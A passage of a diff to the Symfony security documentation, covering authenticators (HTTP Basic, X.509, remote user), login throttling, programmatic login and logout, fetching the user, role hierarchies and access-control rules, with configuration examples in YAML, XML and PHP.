and authenticates the user. If the credentials are incorrect, + an HTTP 401 Unauthorized JSON response is returned, otherwise your + controller is run; +#. Your controller creates the correct response: + + .. code-block:: json + + { + "user": "dunglas@example.com", + "token": "45be42..." + } + +.. tip:: + + The JSON request format can be configured under the ``json_login`` key. + See :ref:`reference-security-firewall-json-login` for more details. + +.. _security-http_basic: + +HTTP Basic +~~~~~~~~~~ + +`HTTP Basic authentication`_ is a standardized HTTP authentication +framework. It asks credentials (username and password) using a dialog in +the browser and the HTTP basic authenticator of Symfony will verify these +credentials. + +Add the ``http_basic`` key to your firewall to enable HTTP Basic +authentication: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + http_basic: + realm: Secured Area + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + <firewall name="main"> + <http-basic realm="Secured Area"/> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $mainFirewall = $security->firewall('main'); + $mainFirewall->httpBasic() + ->realm('Secured Area') + ; + }; + +That's it! Whenever an unauthenticated user tries to visit a protected +page, Symfony will inform the browser that it needs to start HTTP basic +authentication (using the ``WWW-Authenticate`` response header). Then, the +authenticator verifies the credentials and authenticates the user. + +.. note:: + + You cannot use :ref:`log out <security-logging-out>` with the HTTP + basic authenticator. Even if you log out from Symfony, your browser + "remembers" your credentials and will send them on every request. + +Login Link +~~~~~~~~~~ + +Login links are a passwordless authentication mechanism. The user will +receive a short-lived link (e.g. via email) which will authenticate them to the +website. + +You can learn all about this authenticator in :doc:`/security/login_link`. + +Access Tokens +~~~~~~~~~~~~~ + +Access Tokens are often used in API contexts. +The user receives a token from an authorization server +which authenticates them. + +You can learn all about this authenticator in :doc:`/security/access_token`. + +X.509 Client Certificates +~~~~~~~~~~~~~~~~~~~~~~~~~ + +When using client certificates, your web server does all the authentication +itself. The X.509 authenticator provided by Symfony extracts the email from +the "distinguished name" (DN) of the client certificate. Then, it uses this +email as user identifier in the user provider. + +First, configure your web server to enable client certificate verification +and to expose the certificate's DN to the Symfony application: + +.. configuration-block:: + + .. code-block:: nginx + + server { + # ... + + ssl_client_certificate /path/to/my-custom-CA.pem; + + # enable client certificate verification + ssl_verify_client optional; + ssl_verify_depth 1; + + location / { + # pass the DN as "SSL_CLIENT_S_DN" to the application + fastcgi_param SSL_CLIENT_S_DN $ssl_client_s_dn; + + # ... + } + } + + .. code-block:: apache + + # ... + SSLCACertificateFile "/path/to/my-custom-CA.pem" + SSLVerifyClient optional + SSLVerifyDepth 1 + + # pass the DN to the application + SSLOptions +StdEnvVars + + .. code-block:: caddy + + tls { + client_auth { + mode verify_if_given # check the Caddy documentation for more information + trusted_ca_cert_file /path/to/my-custom-CA.pem + } + } + + route { + # Other configuration options go here + + php_fastcgi unix//var/run/php/php-fpm.sock { + env SSL_CLIENT_S_DN {tls_client_subject} + + # Environment variables for other certificate fields that you might need. + # They are not used by Symfony, but you can use them in your application. + # See all placeholders: https://caddyserver.com/docs/caddyfile/concepts#placeholders + env SSL_CLIENT_S_FINGERPRINT {tls_client_fingerprint} + env SSL_CLIENT_S_CERTIFICATE {tls_client_certificate_der_base64} + env SSL_CLIENT_S_ISSUER {tls_client_issuer} + env SSL_CLIENT_S_SERIAL {tls_client_serial} + env SSL_CLIENT_S_VERSION {tls_version} + } + } + +Then, enable the X.509 authenticator using ``x509`` on your firewall: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + x509: + provider: your_user_provider + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + + <firewall name="main"> + <!-- ... --> + <x509 provider="your_user_provider"/> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $mainFirewall = $security->firewall('main'); + $mainFirewall->x509() + ->provider('your_user_provider') + ; + }; + +By default, Symfony extracts the email address from the DN in two different +ways: + +#. First, it tries the ``SSL_CLIENT_S_DN_Email`` server parameter, which is + exposed by Apache; +#. If it is not set (e.g. when using Nginx), it uses ``SSL_CLIENT_S_DN`` and + matches the value following ``emailAddress``. + +You can customize the name of some parameters under the ``x509`` key. +See :ref:`the x509 configuration reference <reference-security-firewall-x509>` +for more details. + +Remote Users +~~~~~~~~~~~~ + +Besides client certificate authentication, there are more web server +modules that pre-authenticate a user (e.g. kerberos). The remote user +authenticator provides a basic integration for these services. + +These modules often expose the authenticated user in the ``REMOTE_USER`` +environment variable. The remote user authenticator uses this value as the +user identifier to load the corresponding user. + +Enable remote user authentication using the ``remote_user`` key: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + # ... + remote_user: + provider: your_user_provider + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <remote-user provider="your_user_provider"/> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $mainFirewall = $security->firewall('main'); + $mainFirewall->remoteUser() + ->provider('your_user_provider') + ; + }; + +.. tip:: + + You can customize the name of this server variable under the + ``remote_user`` key. See + :ref:`the configuration reference <reference-security-firewall-remote-user>` + for more details. + +.. _security-login-throttling: + +Limiting Login Attempts +~~~~~~~~~~~~~~~~~~~~~~~ + +Symfony provides basic protection against `brute force login attacks`_ thanks to +the :doc:`Rate Limiter component </rate_limiter>`. If you haven't used this +component in your application yet, install it before using this feature: + +.. code-block:: terminal + + $ composer require symfony/rate-limiter + +Then, enable this feature using the ``login_throttling`` setting: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + + firewalls: + # ... + + main: + # ... + + # by default, the feature allows 5 login attempts per minute + login_throttling: null + + # configure the maximum login attempts + login_throttling: + max_attempts: 3 # per minute ... + # interval: '15 minutes' # ... or in a custom period + + # use a custom rate limiter via its service ID + login_throttling: + limiter: app.my_login_rate_limiter + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <!-- you must use the authenticator manager --> + <config enable-authenticator-manager="true"> + <!-- ... --> + + <firewall name="main"> + <!-- by default, the feature allows 5 login attempts per minute + max-attempts: (optional) You can configure the maximum attempts ... + interval: (optional) ... and the period of time. --> + <login-throttling max-attempts="3" interval="15 minutes"/> + + <!-- use a custom rate limiter via its service ID --> + <login-throttling limiter="app.my_login_rate_limiter"/> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->enableAuthenticatorManager(true); + + $mainFirewall = $security->firewall('main'); + + // by default, the feature allows 5 login attempts per minute + $mainFirewall->loginThrottling() + // ->maxAttempts(3) // Optional: You can configure the maximum attempts ... + // ->interval('15 minutes') // ... and the period of time. + ; + }; + +.. note:: + + The value of the ``interval`` option must be a number followed by any of the + units accepted by the `PHP date relative formats`_ (e.g. ``3 seconds``, + ``10 hours``, ``1 day``, etc.) + +Internally, Symfony uses the :doc:`Rate Limiter component </rate_limiter>` +which by default uses Symfony's cache to store the previous login attempts. +However, you can implement a :ref:`custom storage <rate-limiter-storage>`. + +Login attempts are limited on ``max_attempts`` (default: 5) +failed requests for ``IP address + username`` and ``5 * max_attempts`` +failed requests for ``IP address``. The second limit protects against an +attacker using multiple usernames from bypassing the first limit, without +disrupting normal users on big networks (such as offices). + +.. tip:: + + Limiting the failed login attempts is only one basic protection against + brute force attacks. The `OWASP Brute Force Attacks`_ guidelines mention + several other protections that you should consider depending on the + level of protection required. + +If you need a more complex limiting algorithm, create a class that implements +:class:`Symfony\\Component\\HttpFoundation\\RateLimiter\\RequestRateLimiterInterface` +(or use +:class:`Symfony\\Component\\Security\\Http\\RateLimiter\\DefaultLoginRateLimiter`) +and set the ``limiter`` option to its service ID: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + framework: + rate_limiter: + # define 2 rate limiters (one for username+IP, the other for IP) + username_ip_login: + policy: token_bucket + limit: 5 + rate: { interval: '5 minutes' } + + ip_login: + policy: sliding_window + limit: 50 + interval: '15 minutes' + + services: + # our custom login rate limiter + app.login_rate_limiter: + class: Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter + arguments: + # globalFactory is the limiter for IP + $globalFactory: '@limiter.ip_login' + # localFactory is the limiter for username+IP + $localFactory: '@limiter.username_ip_login' + $secret: '%kernel.secret%' + + security: + firewalls: + main: + # use a custom rate limiter via its service ID + login_throttling: + limiter: app.login_rate_limiter + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <framework:config> + <framework:rate-limiter> + <!-- define 2 rate limiters (one for username+IP, the other for IP) --> + <framework:limiter name="username_ip_login" + policy="token_bucket" + limit="5" + > + <framework:rate interval="5 minutes"/> + </framework:limiter> + + <framework:limiter name="ip_login" + policy="sliding_window" + limit="50" + interval="15 minutes" + /> + </framework:rate-limiter> + </framework:config> + + <srv:services> + <!-- our custom login rate limiter --> + <srv:service id="app.login_rate_limiter" + class="Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter" + > + <!-- 1st argument is the limiter for IP --> + <srv:argument type="service" id="limiter.ip_login"/> + <!-- 2nd argument is the limiter for username+IP --> + <srv:argument type="service" id="limiter.username_ip_login"/> + <!-- 3rd argument is the app secret --> + <srv:argument type="string">%kernel.secret%</srv:argument> + </srv:service> + </srv:services> + + <config> + <firewall name="main"> + <!-- use a custom rate limiter via its service ID --> + <login-throttling limiter="app.login_rate_limiter"/> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Component\DependencyInjection\Reference; + use Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter; + use Symfony\Config\FrameworkConfig; + use Symfony\Config\SecurityConfig; + + return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security): void { + $framework->rateLimiter() + ->limiter('username_ip_login') + ->policy('token_bucket') + ->limit(5) + ->rate() + ->interval('5 minutes') + ; + + $framework->rateLimiter() + ->limiter('ip_login') + ->policy('sliding_window') + ->limit(50) + ->interval('15 minutes') + ; + + $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class) + ->setArguments([ + // 1st argument is the limiter for IP + new Reference('limiter.ip_login'), + // 2nd argument is the limiter for username+IP + new Reference('limiter.username_ip_login'), + // 3rd argument is the app secret + param('kernel.secret'), + ]); + + $security->firewall('main') + ->loginThrottling() + ->limiter('app.login_rate_limiter') + ; + }; + +Customize Successful and Failed Authentication Behavior +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you want to customize how the successful or failed authentication process is +handled, you don't have to overwrite the respective listeners globally. Instead, +you can set custom success failure handlers by implementing the +:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface` +or the +:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`. + +Read :ref:`how to customize your success handler <login-link_customize-success-handler>` +for more information about this. + +Login Programmatically +---------------------- + +You can log in a user programmatically using the ``login()`` method of the +:class:`Symfony\\Bundle\\SecurityBundle\\Security` helper:: + + // src/Controller/SecurityController.php + namespace App\Controller; + + use App\Security\Authenticator\ExampleAuthenticator; + use Symfony\Bundle\SecurityBundle\Security; + use Symfony\Component\Security\Http\Authenticator\Passport\Badge\RememberMeBadge; + + class SecurityController + { + public function someAction(Security $security): Response + { + // get the user to be authenticated + $user = ...; + + // log the user in on the current firewall + $security->login($user); + + // if the firewall has more than one authenticator, you must pass it explicitly + // by using the name of built-in authenticators... + $security->login($user, 'form_login'); + // ...or the service id of custom authenticators + $security->login($user, ExampleAuthenticator::class); + + // you can also log in on a different firewall... + $security->login($user, 'form_login', 'other_firewall'); + + // ... add badges... + $security->login($user, 'form_login', 'other_firewall', [(new RememberMeBadge())->enable()]); + + // ... and also add passport attributes + $security->login($user, 'form_login', 'other_firewall', [(new RememberMeBadge())->enable()], ['referer' => 'https://oauth.example.com']); + + // use the redirection logic applied to regular login + $redirectResponse = $security->login($user); + return $redirectResponse; + + // or use a custom redirection logic (e.g. redirect users to their account page) + // return new RedirectResponse('...'); + } + } + +.. versionadded:: 7.2 + + The support for passport attributes in the + :method:`Symfony\\Bundle\\SecurityBundle\\Security::login` method was + introduced in Symfony 7.2. + +.. _security-logging-out: + +Logging Out +----------- + +To enable logging out, activate the ``logout`` config parameter under your firewall: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + logout: + path: /logout + + # where to redirect after logout + # target: app_any_route + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + + <firewall name="main"> + <logout path="/logout"/> + + <!-- use "target" to configure where to redirect after logout + <logout path="/logout" target="app_any_route"/> + --> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + + $mainFirewall = $security->firewall('main'); + // ... + $mainFirewall->logout() + ->path('/logout') + + // where to redirect after logout + // ->target('app_any_route') + ; + }; + +Symfony will then un-authenticate users navigating to the configured ``path``, +and redirect them to the configured ``target``. + +.. tip:: + + If you need to reference the logout path, you can use the ``_logout_<firewallname>`` + route name (e.g. ``_logout_main``). + +If your project does not use :ref:`Symfony Flex <symfony-flex>`, make sure +you have imported the logout route loader in your routes: + +.. configuration-block:: + + .. code-block:: yaml + + # config/routes/security.yaml + _symfony_logout: + resource: security.route_loader.logout + type: service + + .. code-block:: xml + + <!-- config/routes/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <routes xmlns="http://symfony.com/schema/routing" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/routing + https://symfony.com/schema/routing/routing-1.0.xsd"> + + <import resource="security.route_loader.logout" type="service"/> + </routes> + + .. code-block:: php + + // config/routes/security.php + use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; + + return static function (RoutingConfigurator $routes): void { + $routes->import('security.route_loader.logout', 'service'); + }; + +Logout programmatically +~~~~~~~~~~~~~~~~~~~~~~~ + +You can logout user programmatically using the ``logout()`` method of the +:class:`Symfony\\Bundle\\SecurityBundle\\Security` helper:: + + // src/Controller/SecurityController.php + namespace App\Controller\SecurityController; + + use Symfony\Bundle\SecurityBundle\Security; + + class SecurityController + { + public function someAction(Security $security): Response + { + // logout the user in on the current firewall + $response = $security->logout(); + + // you can also disable the csrf logout + $response = $security->logout(false); + + // ... return $response (if set) or e.g. redirect to the homepage + } + } + +The user will be logged out from the firewall of the request. If the request is +not behind a firewall a ``\LogicException`` will be thrown. + +Customizing Logout +~~~~~~~~~~~~~~~~~~ + +In some cases you need to run extra logic upon logout (e.g. invalidate +some tokens) or want to customize what happens after a logout. During +logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent` +is dispatched. Register an :doc:`event listener or subscriber </event_dispatcher>` +to execute custom logic:: + + // src/EventListener/LogoutSubscriber.php + namespace App\EventListener; + + use Symfony\Component\EventDispatcher\EventSubscriberInterface; + use Symfony\Component\HttpFoundation\RedirectResponse; + use Symfony\Component\Routing\Generator\UrlGeneratorInterface; + use Symfony\Component\Security\Http\Event\LogoutEvent; + + class LogoutSubscriber implements EventSubscriberInterface + { + public function __construct( + private UrlGeneratorInterface $urlGenerator + ) { + } + + public static function getSubscribedEvents(): array + { + return [LogoutEvent::class => 'onLogout']; + } + + public function onLogout(LogoutEvent $event): void + { + // get the security token of the session that is about to be logged out + $token = $event->getToken(); + + // get the current request + $request = $event->getRequest(); + + // get the current response, if it is already set by another listener + $response = $event->getResponse(); + + // configure a custom logout response to the homepage + $response = new RedirectResponse( + $this->urlGenerator->generate('homepage'), + RedirectResponse::HTTP_SEE_OTHER + ); + $event->setResponse($response); + } + } + +Customizing Logout Path +~~~~~~~~~~~~~~~~~~~~~~~ + +Another option is to configure ``path`` as a route name. This can be useful +if you want logout URIs to be dynamic (e.g. translated according to the +current locale). In that case, you have to create this route yourself: + +.. configuration-block:: + + .. code-block:: yaml + + # config/routes.yaml + app_logout: + path: + en: /logout + fr: /deconnexion + methods: GET + + .. code-block:: xml + + <!-- config/routes.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <routes xmlns="http://symfony.com/schema/routing" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/routing + https://symfony.com/schema/routing/routing-1.0.xsd"> + + <route id="app_logout" path="/logout" methods="GET"> + <path locale="en">/logout</path> + <path locale="fr">/deconnexion</path> + </route> + </routes> + + .. code-block:: php + + // config/routes.php + use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; + + return function (RoutingConfigurator $routes): void { + $routes->add('app_logout', [ + 'en' => '/logout', + 'fr' => '/deconnexion', + ]) + ->methods(['GET']) + ; + }; + +Then, pass the route name to the ``path`` option: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + logout: + path: app_logout + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + + <firewall name="main"> + <logout path="app_logout"/> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + + $mainFirewall = $security->firewall('main'); + // ... + $mainFirewall->logout() + ->path('app_logout') + ; + }; + +.. _retrieving-the-user-object: + +Fetching the User Object +------------------------ + +After authentication, the ``User`` object of the current user can be +accessed via the ``getUser()`` shortcut in the +:ref:`base controller <the-base-controller-class-services>`:: + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + + class ProfileController extends AbstractController + { + public function index(): Response + { + // usually you'll want to make sure the user is authenticated first, + // see "Authorization" below + $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY'); + + // returns your User object, or null if the user is not authenticated + // use inline documentation to tell your editor your exact User class + /** @var \App\Entity\User $user */ + $user = $this->getUser(); + + // Call whatever methods you've added to your User class + // For example, if you added a getFirstName() method, you can use that. + return new Response('Well hi there '.$user->getFirstName()); + } + } + +Fetching the User from a Service +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you need to get the logged in user from a service, use the +:class:`Symfony\\Bundle\\SecurityBundle\\Security` service:: + + // src/Service/ExampleService.php + // ... + + use Symfony\Bundle\SecurityBundle\Security; + + class ExampleService + { + // Avoid calling getUser() in the constructor: auth may not + // be complete yet. Instead, store the entire Security object. + public function __construct( + private Security $security, + ){ + } + + public function someMethod(): void + { + // returns User object or null if not authenticated + $user = $this->security->getUser(); + + // ... + } + } + +Fetch the User in a Template +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In a Twig Template the user object is available via the ``app.user`` variable +thanks to the :ref:`Twig global app variable <twig-app-variable>`: + +.. code-block:: html+twig + + {% if is_granted('IS_AUTHENTICATED_FULLY') %} + <p>Email: {{ app.user.email }}</p> + {% endif %} + +.. _denying-access-roles-and-other-authorization: +.. _security-access-control: + +Access Control (Authorization) +------------------------------ + +Users can now log in to your app using your login form. Great! Now, you need to learn +how to deny access and work with the User object. This is called **authorization**, +and its job is to decide if a user can access some resource (a URL, a model object, +a method call, ...). + +The process of authorization has two different sides: + +#. The user receives a specific role when logging in (e.g. ``ROLE_ADMIN``). +#. You add code so that a resource (e.g. URL, controller) requires a specific + "attribute" (e.g. a role like ``ROLE_ADMIN``) in order to be accessed. + +Roles +~~~~~ + +When a user logs in, Symfony calls the ``getRoles()`` method on your ``User`` +object to determine which roles this user has. In the ``User`` class that +was generated earlier, the roles are an array that's stored in the +database and every user is *always* given at least one role: ``ROLE_USER``:: + + // src/Entity/User.php + + // ... + class User + { + #[ORM\Column(type: 'json')] + private array $roles = []; + + // ... + public function getRoles(): array + { + $roles = $this->roles; + // guarantee every user at least has ROLE_USER + $roles[] = 'ROLE_USER'; + + return array_unique($roles); + } + } + +This is a nice default, but you can do *whatever* you want to determine which roles +a user should have. The only rule is that every role **must start with** the +``ROLE_`` prefix - otherwise, things won't work as expected. Other than that, +a role is just a string and you can invent whatever you need (e.g. ``ROLE_PRODUCT_ADMIN``). + +You'll use these roles next to grant access to specific sections of your site. + +.. _security-role-hierarchy: + +Hierarchical Roles +.................. + +Instead of giving many roles to each user, you can define role inheritance +rules by creating a role hierarchy: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + role_hierarchy: + ROLE_ADMIN: ROLE_USER + ROLE_SUPER_ADMIN: [ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH] + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + + <role id="ROLE_ADMIN">ROLE_USER</role> + <role id="ROLE_SUPER_ADMIN">ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH</role> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + + $security->roleHierarchy('ROLE_ADMIN', ['ROLE_USER']); + $security->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH']); + }; + +Users with the ``ROLE_ADMIN`` role will also have the ``ROLE_USER`` role. +Users with ``ROLE_SUPER_ADMIN``, will automatically have ``ROLE_ADMIN``, +``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from +``ROLE_ADMIN``). + +.. warning:: + + For role hierarchy to work, do not use ``$user->getRoles()`` manually. + For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`:: + + // BAD - $user->getRoles() will not know about the role hierarchy + $hasAccess = in_array('ROLE_ADMIN', $user->getRoles()); + + // GOOD - use of the normal security methods + $hasAccess = $this->isGranted('ROLE_ADMIN'); + $this->denyAccessUnlessGranted('ROLE_ADMIN'); + +.. note:: -You'll use these roles next to grant access to specific sections of your site. -You can also use a :ref:`role hierarchy <security-role-hierarchy>` where having -some roles automatically give you other roles. + The ``role_hierarchy`` values are static - you can't, for example, store the + role hierarchy in a database. If you need that, create a custom + :doc:`security voter </security/voters>` that looks for the user roles + in the database. .. _security-role-authorization: @@ -524,7 +2311,7 @@ start with ``/admin``, you can: .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -558,27 +2345,32 @@ start with ``/admin``, you can: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->enableAuthenticatorManager(true); + + // ... + $security->firewall('main') // ... + ; - 'firewalls' => [ - // ... - 'main' => [ - // ... - ], - ], - 'access_control' => [ - // require ROLE_ADMIN for /admin* - ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'], - - // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin* - ['path' => '^/admin', 'roles' => ['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']], - - // the 'path' value can be any valid regular expression - // (this one will match URLs like /api/post/7298 and /api/comment/528491) - ['path' => '^/api/(post|comment)/\d+$', 'roles' => 'ROLE_USER'], - ], - ]); + // require ROLE_ADMIN for /admin* + $security->accessControl() + ->path('^/admin') + ->roles(['ROLE_ADMIN']); + + // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin* + $security->accessControl() + ->path('^/admin') + ->roles(['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']); + + // the 'path' value can be any valid regular expression + // (this one will match URLs like /api/post/7298 and /api/comment/528491) + $security->accessControl() + ->path('^/api/(post|comment)/\d+$') + ->roles(['ROLE_USER']); + }; You can define as many URL patterns as you need - each is a regular expression. **BUT**, only **one** will be matched per request: Symfony starts at the top of @@ -602,7 +2394,7 @@ the list and stops when it finds the first match: .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -622,14 +2414,19 @@ the list and stops when it finds the first match: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { // ... - 'access_control' => [ - ['path' => '^/admin/users', 'roles' => 'ROLE_SUPER_ADMIN'], - ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'], - ], - ]); + $security->accessControl() + ->path('^/admin/users') + ->roles(['ROLE_SUPER_ADMIN']); + + $security->accessControl() + ->path('^/admin') + ->roles(['ROLE_ADMIN']); + }; Prepending the path with ``^`` means that only URLs *beginning* with the pattern are matched. For example, a path of ``/admin`` (without the ``^``) @@ -637,6 +2434,8 @@ would match ``/admin/foo`` but would also match URLs like ``/foo/admin``. Each ``access_control`` can also match on IP address, hostname and HTTP methods. It can also be used to redirect a user to the ``https`` version of a URL pattern. +For more complex needs, you can also use a service implementing ``RequestMatcherInterface``. + See :doc:`/security/access_control`. .. _security-securing-controller: @@ -649,7 +2448,7 @@ You can deny access from inside a controller:: // src/Controller/AdminController.php // ... - public function adminDashboard() + public function adminDashboard(): Response { $this->denyAccessUnlessGranted('ROLE_ADMIN'); @@ -670,188 +2469,155 @@ will happen: :ref:`customize <controller-error-pages-by-status-code>`). .. _security-securing-controller-annotations: +.. _security-securing-controller-attributes: -Thanks to the SensioFrameworkExtraBundle, you can also secure your controller -using annotations: +Another way to secure one or more controller actions is to use the ``#[IsGranted]`` attribute. +In the following example, all controller actions will require the +``ROLE_ADMIN`` permission, except for ``adminDashboard()``, which will require +the ``ROLE_SUPER_ADMIN`` permission: -.. code-block:: diff +.. code-block:: php-attributes // src/Controller/AdminController.php // ... - + use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted; + use 